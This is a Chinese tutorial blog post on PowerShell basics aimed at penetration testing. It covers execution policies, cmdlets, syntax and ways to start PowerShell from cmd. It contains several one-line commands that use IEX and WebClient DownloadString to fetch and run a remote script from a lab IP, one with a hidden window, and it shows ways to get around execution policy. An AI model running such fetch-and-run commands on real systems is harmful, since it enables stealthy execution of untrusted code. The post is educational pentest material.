Powershell渗透框架

news2024/11/27 0:16:12

文章目录

  • Powershell基础
    • Powershell简介
      • 什么是 Windows PowerShell
      • 为什么使用 Windows PowerShell
      • 如何启动 Windows PowerShell
      • PowerShell和Cmd命令提示符的区别
        • PowerShell
        • cmd
      • 管理员运行 PowerShell
      • Windows PowerShell ISE
  • 创建并运行脚本
    • 文本编辑器创建脚本
    • 集成脚本环境创建脚本
    • 加载执行本地脚本
    • 加载执行远程脚本
  • 脚本执行策略
    • 查看当前执行策略
    • 获取影响当前会话的所有执行策略,并按优先顺序显示它们
    • 将执行策略设置为 Bypass
    • 对特定的用户执行策略设置
  • 绕过执行策略
    • 本地读取然后通过管道符运行
    • 远程下载并通过IEX运行脚本
    • Bypass执行策略绕过
    • Unrestricted执行策略
  • PowerShell注释
    • 单行注释
    • 多行注释
  • PowerShell Cmdlet
  • 常用Cmdlet命令
    • 查看 powershell 版本
    • 查看当前环境变量
    • 启动指定程序
    • 获取指定进程信息
    • 获取文件信息
    • 复制文件
    • 移动文件
    • 获取指定服务信息
    • 获取文件Hash
    • 设置文本内容
    • 删除文件的内容,但不删除该文件
    • 获取当前目录
    • 查看别名
  • 基本语法
    • 管道符
    • 分号
    • 调用操作符
    • 输出单双引号
    • 运输符
    • 变量
    • 数组
  • 语句
    • 条件语句
    • 循环语句
  • Cmd启动Powershell
    • 常规方法
    • 管道输入流
    • 环境变量
    • 从粘贴板执行
    • bat脚本执行

Powershell基础

Powershell简介

什么是 Windows PowerShell

Windows PowerShell 是 Microsoft 创建的基于任务的自动化命令行Shell和相关脚本语言,基于 .NET 框架。

是Microsoft的新Shell,它将旧的命令提示符(CMD)功能与具有内置系统管理功能的新脚本指令集结合在一起。

用于控制和自动化管理Windows操作系统和运行在操作系统上的应用。

被广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避 Anti-Virus 检测。

Windows PowerShell 中的命令称为 cmdlet ,发音为“ command-lets ”,其中每个 cmdlet 代表特定的功能或基于任务的脚本。

Powershell 默认安装在Win7及以后的系统上。

操作系统信任

提供Windows操作系统的几乎一切访问权限

Windows PowerShell 集成脚本环境(ISE)

为什么使用 Windows PowerShell

它既是脚本语言,又是命令行Shell。它可以与不同数量的技术进行交互。

Windows PowerShell允许完全访问.NET框架中的所有类型。PowerShell是基于对象的。

Microsoft为各种产品设计的GUI的许多接口是PowerShell的前端接口。

它比运行VBScript或其他脚本语言更安全。

通过组合多个命令和编写脚本,它可以更有效地执行重复性任务。假设系统管理员希望创建数百个活动目录用户,那么他只能借助脚本中放置的某些 PowerShell cmdlet 来实现此目的。

使用PowerShell的简单cmdlet可以在一秒钟内完成许多复杂且耗时的配置和任务。

如何启动 Windows PowerShell

所有最新版本的 Windows 中都可以使用 PowerShell 。

我们需要按照给定的步骤启动 PowerShell :搜索 Windows PowerShell 。选择并单击。 PowerShell窗口将打开。

PowerShell和Cmd命令提示符的区别

PowerShell

1、它是基于.NET框架的基于任务的自动化命令行
界面和关联的脚本语言。

2、它可以解释批处理和PowerShell命令。

3、它用于控制和自动化Windows服务器上的应用
程序和Windows操作系统。

4、PowerShell生成的输出不仅是字符流,而且是
对象的集合。

5、它既是Shell程序又是脚本编制环境,它支持创
建用于管理Windows操作系统的大文件。

cmd

1、它是Microsoft Windows操作系统的默认
命令行解释器。

2、它只能解释批处理命令。

3、它用于在控制台上执行给定的命令,可用
于调试问题。

4、命令提示符生成的输出只是字符流(文本)。

5、它只是一个shell系统,它允许用户仅执行
简单和基本的脚本来执行批处理文件。

管理员运行 PowerShell

在Windows操作系统中,有五种方法可以以管理员身份运行PowerShell:

1、使用运行窗口(对于所有版本的Windows),以管理员身份运行PowerShell。
2、使用Cortana搜索栏(对于Windows 10)以管理员身份运行PowerShell。
3、在命令提示符下以管理员身份运行PowerShell。
4、从任务管理器以管理员身份运行PowerShell。
5、从“开始”菜单以管理员身份运行PowerShell。

Windows PowerShell ISE

Microsoft Windows PowerShell ISE 是基于图形用户界面的应用程序,并且是Windows PowerShell的默认编辑器。

ISE代表集成脚本环境。它是一个界面,我们可以在这个界面中运行命令以及编写,测试和调试PowerShell脚本,而无需在命令行界面中编写所有命令。

集成脚本环境(ISE)提供选项卡补全,多行编辑,语法着色,上下文相关帮助,选择性执行以及对从右到左语言的支持。

PowerShell的ISE窗口包含以下三个窗格:

脚本窗格:此窗格允许用户创建和运行脚本。 用户可以在脚本窗格中轻松打开,编辑和运行现有脚本。

输出窗格:此窗格显示脚本的输出以及运行的命令。还可以清除并复制“输出”窗格中的内容。

命令窗格:此窗格允许用户编写命令。在命令窗格中轻松执行单行或多行命令。

创建并运行脚本

文本编辑器创建脚本

打开任意文本编辑器,写入测试脚本内容:

echo "Hello world"

保存文件名为 test.ps1,双击即可运行!

集成脚本环境创建脚本

打开 Windows PowerShell ISE ,新建一个空文件,写入要执行的脚本内容,保存文件名为test.ps1

菜单栏点击运行,或快捷键 F5 运行脚本

加载执行本地脚本

powershell -f test.ps1  #需要指定路径

加载执行远程脚本

Powershell 远程下载代码脚本执行

powershell -c "Invoke-Expression (New-Object 
System.Net.WebClient).DownloadString('https://192.168.88.128:80/test.ps1')"

Invoke-Expression(IEX的别名):用来把字符串当作命令执行。

WindowStyle Hidden(-w Hidden):隐藏窗口

Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。

NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。

Noexit(-Noe):执行后不退出Shell。

EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

WebClient 类:提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据的常用方法。

https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient?view=net-6.0

DownloadString 方法:以 String 形式下载请求的资源。 可以以包含 URI 的 String 或 Uri 的形式指定要下载的资源。

https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadstring?view=net-6.0

脚本执行策略

在计算机系统中启动PowerShell时,默认执行策略不允许我们执行或运行脚本。

查看当前执行策略

Get-ExecutionPolicy

获取影响当前会话的所有执行策略,并按优先顺序显示它们

Get-ExecutionPolicy -List

将执行策略设置为 Bypass

Set-ExecutionPolicy Bypass

#需要使用管理员权限启动power shell

对特定的用户执行策略设置

Set-ExecutionPolicy Unrestricted -Scope LocalMachine

详细查看: https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3

PowerShell中可以设置以下类型的执行策略:

名称说明
AllSignedAllSigned 允许执行所有具有数字签名的脚本。
Bypass不阻止任何操作,并且没有任何警告或提示。
Default设置默认执行策略。Restricted 适用于 Windows 客户端。为 Windows 服务器远程签名
RemoteSigned允许执行具有数字签名的通过网络下载的脚本;本地创建的脚本不要求脚本具有数字签名,可以直接执行。
Restricted受限制的,可以执行单个的命令,但不能执行脚本,执行就会报错,Windows8,Windows 8.1,Windows Server 2012中默认策略。
UndefinedUndefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。
Unrestricted允许运行未签名的脚本。从网络上下载的脚本,在运行前会进行安全性提示。需要确认是否执行脚本。

Bypass 最为常用

绕过执行策略

本地读取然后通过管道符运行

powershell Get-Content C:\Users\xxxxx\Desktop\powershell\test.ps1 | powershell -

远程下载并通过IEX运行脚本

powershell -w hidden "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.88.128:80/test.ps1')"

Bypass执行策略绕过

powershell -executionpolicy bypass -f C:\Users\xxx\Desktop\powershell\test.ps1

Unrestricted执行策略

powershell -executionpolicy unrestricted -f C:\Users\xxxx\Desktop\powershell\test.ps1

PowerShell注释

单行注释

单行注释是在每行的开头键入井号 # 的注释。 # 符号右边的所有内容都将被忽略。 如果在脚本中编写多行,则必须在每行的开头使用井号 # 符号。

# 单行注释.............

多行注释

要注释多行,请将 <# 符号放在第一行的开头,将 #> 符号放在最后一行的末尾。

<# 多行注释.........  
多行注释.........  
多行注释....................#>

PowerShell Cmdlet

Cmdlets 是 PowerShell 的非常重要的内部命令集。

Cmdlet 发音为” command-lets ”,它是在 PowerShell 环境中使用的轻量级命令。 这些是在PowerShell环境中实现特殊功能的特殊命令。

Cmdlet 遵循“动词-名词”模式,例如: set-childItem

Cmdlet 是以 .NET 类实例形式存在的命令。 Cmdlets 可以用任何 .NET 语言来编写,也可以用PowerShell 脚本语言来编写。

它并不是简单的可执行文件,它有很多属性,这些属性用来指定输入参数或者使用管道来管理重定向。我们可以通过输入 Get-Command 可以显示可用的 Cmdlets 命令。

Get-Command -CommandType Cmdlet

常用Cmdlet命令

查看 powershell 版本

$PSVersionTable

#别名 Get-Host

查看当前环境变量


Get-ChildItem env:

#别名gci ls dir

启动指定程序

Start-Process calc.exe

saps explorer.exe
 
#别名 saps start

获取指定进程信息

Get-Process
Get-Process explorer

#别名 gps ps

获取文件信息

Get-Item 1.txt

#别名 gi

复制文件

Copy-Item 1.txt 2.txt

#别名 cpi cp copy

移动文件

Move-Item 1.txt 2.txt

#别名 mi mv move

获取指定服务信息

Get-Service -Name Everything

获取文件Hash

Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt

设置文本内容

Set-Content 1.txt -Value "hello, word"

#别名 sc

删除文件的内容,但不删除该文件

Clear-Content 1.txt

获取当前目录

Get-Location

#别名gl pwd

查看别名

Get-Alias -name dir

基本语法

管道符

|     #将一个命令的输出作为另一个命令的输入

分号

;   #分号用来连续执行系统命令

调用操作符

&   ##调用操作符,它允许你执行命令,脚本或函数

输出单双引号

""""
# 输出双引号
''''   
# 输出单引号

运输符

>   #将输出保存到指定文件中(用法:Get-Process > output.txt)
>>  #将脚本的输出追加到指定文件中(用法:test.ps1 >> output.txt)
2>  #将错误输出到指定文件中(Get-Porcess none 2> Errors.txt)
2>> #将错误追加到指定文件中(Get-Process none 2>> logs-Errors.txt)
-eq #等于运算符(用法:$var1 –eq $var2,返回真或假)
-gt #大于运算符(用法:$var1 –gt $var2,返回真或假)
-match     #匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string,返回真或假)
-replace   #替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
-in       #测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()

变量

变量都是以 $ 开头

$w = "hello world"   # 变量赋值
$w   # 访问变量

数组

$a = 'value1','value2','value3'     # 创建数组
$a[0]   # 访问数组第一个元素
$a = @()   # 空数组
$a = 1,'two',(get-date)

语句

条件语句

if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}

循环语句

while() {}
Do {} While()
For(;;;) {}

Cmd启动Powershell

常规方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

管道输入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

环境变量

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::GetEnvironmentVariable('cmd','Process'));"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&&powershell IEX ((Get-ChildItem env:cmd).Value)"

从粘贴板执行

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void]  
[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX 
([System.Windows.Forms.Clipboard]::GetText())"

bat脚本执行

@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause

#不想有'请按任意键继续...' 可以去掉pause

[未完待续,后面会更新CobaltStrikePowerShell加载器以及PowerSploit后渗透框架…]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/167076.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第二章.线性回归以及非线性回归—特征缩放,交叉验证法,过拟合

第二章.线性回归以及非线性回归 2.9 特征缩放 1.数据归一化 1).作用&#xff1a; 把数据的取值范围处理为0-1或者-1-1 2).数据范围处理为0-1之间的方法&#xff1a; newValue(oldValue-min)/(max-min) 例如&#xff1a;数组:&#xff08;1,3,5&#xff09;,value1:(1-1)/(5-1)0…

MyBatis-Plus分析打印SQL(开发环境)

项目创建POM依赖 <!-- https://mvnrepository.com/artifact/p6spy/p6spy --> <dependency><groupId>p6spy</groupId><artifactId>p6spy</artifactId><version>3.9.1</version> </dependency> YML配置 spring:datasource…

silicon labs Gateway HOST-NCP MQTT网关搭建

一、背景 目前正在开发一款中控网关,网关mcu跑Android系统,NCP采用EFR32MG21开发板,需要跑MQTT协议控制zigbee的网络。基于以上需求,下载了simplicity studio V5版本和最新的EmberZNet 7.2.0.0协议栈进行验证,发现新的GSDK已经不再支持MQTT功能,官方回答是EmberZNet 6.7…

论文解读 - 城市自动驾驶车辆运动规划与控制技术综述 (第2部分)

文章目录&#x1f697; II. Overview of the decision-making hierarchy used in driverless cars&#xff08;无人驾驶汽车的决策层综述&#xff09;&#x1f534; A. Route Planning&#xff08;路径规划&#xff09;&#x1f7e0; B. Behavioral Decision Making&#xff08…

论文工具大全+软件简介

文章目录**1.使用说明用哪个文库就打开&#xff0c;****2.在软件中复制粘贴网址点下载**3.点已下载文件右击鼠标另外保存**腾讯微云-https://share.weiyun.com/5U3fAjF**1.安装并上传论文点检测2.检测等待时间3.打开检测报告查看回复[文献]&#xff1a;参考文献自动生成器参考文…

贪心算法专题

1.Acwing 1055. 股票买卖 II 题目链接&#xff1a;1055. 股票买卖 II - AcWing题库 思路&#xff1a;逢涨就买 #include<iostream> using namespace std;int main() {int n;long long ans0;int a[100005];cin>>n;cin>>a[0];for(int i1;i<n;i){cin>&…

C语言—动态内存管理

专栏&#xff1a;C语言 个人主页&#xff1a;HaiFan. 专栏简介&#xff1a;本专栏主要更新一些C语言的基础知识&#xff0c;也会实现一些小游戏和通讯录&#xff0c;学时管理系统之类的&#xff0c;有兴趣的朋友可以关注一下。 动态内存管理前言一、为什么会存在动态内存分配二…

磨金石教育分享||CG特效技术主要应用在哪几个领域

前面我们介绍了很多关于CG特效的知识&#xff0c;我们知道CG特效发展的历史以及重大意义。那么我们今天再来详细讨论一下CG特效主要应用的几个领域。近几年文化艺术的发展伴随着互联网信息技术高速传播。文化艺术产业变得多元&#xff0c;动漫、3A大作游戏、商业大片、虚拟现实…

Java 元注解

​ 元注解是负责对其它注解进行说明的注解&#xff0c;自定义注解时可以使用元注解。Java 5 定义了 4 个注解&#xff0c;分别是 Documented、Target、Retention 和 Inherited。Java 8 又增加了 Repeatable 和 Native 两个注解。这些注解都可以在 java.lang.annotation 包中找到…

前端压缩图片为指定宽高

压缩图片原理 通过原生的input标签拿到要上传的图片文件将图片文件转化成img元素标签在canvas上压缩绘制该HTMLImageElement将图片转化为一个包含图片展示的data URI&#xff0c;即图片被转换成base64编码的字符串 实现 通过原生的input标签拿到上传的图片文件 css部分<…

Linux 通过监控监控系统内存并定时重启指定服务

一、使用Free命令监控系统内存 1.1 查看系统内存情况 free -m1.1.1 获取空闲物理内存 echo Mem-free: `free -m | grep Mem | awk {print $4}`M1.1.2 获取缓冲区内存

php 安装curl扩展支持sftp协议

原因&#xff1a;php默认安装的依赖的libcurl.so中不支持sftp 协议 解决方法&#xff1a;先安装libssh2&#xff0c;curl安装时编译参数带–with-libssh2&#xff0c;这样可以支持sftp 一.编译安装libssh2-1.8.0 1.下载源码 地址: https://github.com/libssh2/libssh2 2.编译…

requests页面常用操作(post、put、get、head、patch、delete方法)

1 requests主要方法2 请求返回信息3 应用3.1 登录页面3.2 退出登录3.3 修改参数3.4 上传文件Requests 是一个 Python 的 HTTP 客户端库。每次调用 requests 请求之后&#xff0c;会返回一个 response 对象&#xff0c;该对象包含了具体的响应信息。可以通过requests模拟提交请求…

蓝桥杯 stm32 实现 ADC 采集数据功能 CubeMX

文章内的代码使用 HAL 库。 ADC 即 模数转换器&#xff0c;是指 将 连续变化的模拟信号 转换成 离散的数字信号 的器件。 文章目录前言一、ADC 原理图二、CubeMX 配置三、ADC 代码讲解总结前言 一、ADC 原理图 从原理图我们可以看到 STM32G431 内部集成 两个 最高位 12 位 的 A…

通信电子、嵌入式类面试题刷题计划03

文章目录021——"Hello, world!"022——计算圆的面积023——打印10x10的星号024——字符串打印025——打印26个英文字母026——strlen函数的用法027——sizeof函数的使用028——if else、变量赋值语句029——if else语句030——if elseif else语句&#xff0c;判断是…

数字IC设计、验证、FPGA笔试必会 - Verilog经典习题 ( 七)求两个数的差值

数字IC设计、验证、FPGA笔试必会 - Verilog经典习题 &#xff08;七&#xff09;求两个数的差值 &#x1f508;声明&#xff1a; &#x1f603;博主主页&#xff1a;王_嘻嘻的CSDN博客 &#x1f9e8;未经作者允许&#xff0c;禁止转载 &#x1f511;系列专栏&#xff1a;牛客Ve…

Redis作为缓存应用场景分析

为什么使用缓存 Redis是一个内存型数据库&#xff0c;也就是说&#xff0c;所有的数据都会存在与内存中&#xff0c;基于Redis的高性能特性&#xff0c;我们将Redis用在缓存场景非常广泛。使用起来方便&#xff0c;响应也是远超关系型数据库。 应用场景 Redis的应用场景非常…

绝了,超越YOLOv7、v8,YOLOv6 v3.0正式发布

超越YOLOv7、v8! YOLOv6 v3.0正式发布!!! YOLOv6 全新版本v3.0正式发布&#xff01;引入新的网络架构和训练方案&#xff0c;其中YOLOv6-S以484 FPS的速度达到45.0% AP&#xff0c;超过YOLOv5-S、YOLOv8-S&#xff0c;其代码刚刚开源 由于前段时间Ultralytics公司透露出V8的发…

马哥架构第2周课程作业

haproxy、nginx、lvs负责均衡相关的话题一. nginx和haproxy的异同点二. 实现haproxy四层地址透传&#xff0c;并且做基于cookie的会话保持2.1 haproxy四层地址透传2.2 基于cookie的会话保持2.2.1 配置选项2.2.2 配置示例2.2.3 验证 Cookie 信息三. 实现自定义错误页面和https的…

【学习笔记】【Pytorch】12.损失函数与反向传播

【学习笔记】【Pytorch】12.损失函数与反向传播一、损失函数的介绍1.L1Loss类的使用代码实现2.MSELoss类的使用3.损失函数在模型中的实现二、反向传播一、损失函数的介绍 参考&#xff1a; 损失函数&#xff08;loss function&#xff09; pytorch loss-functions 文档 作用&…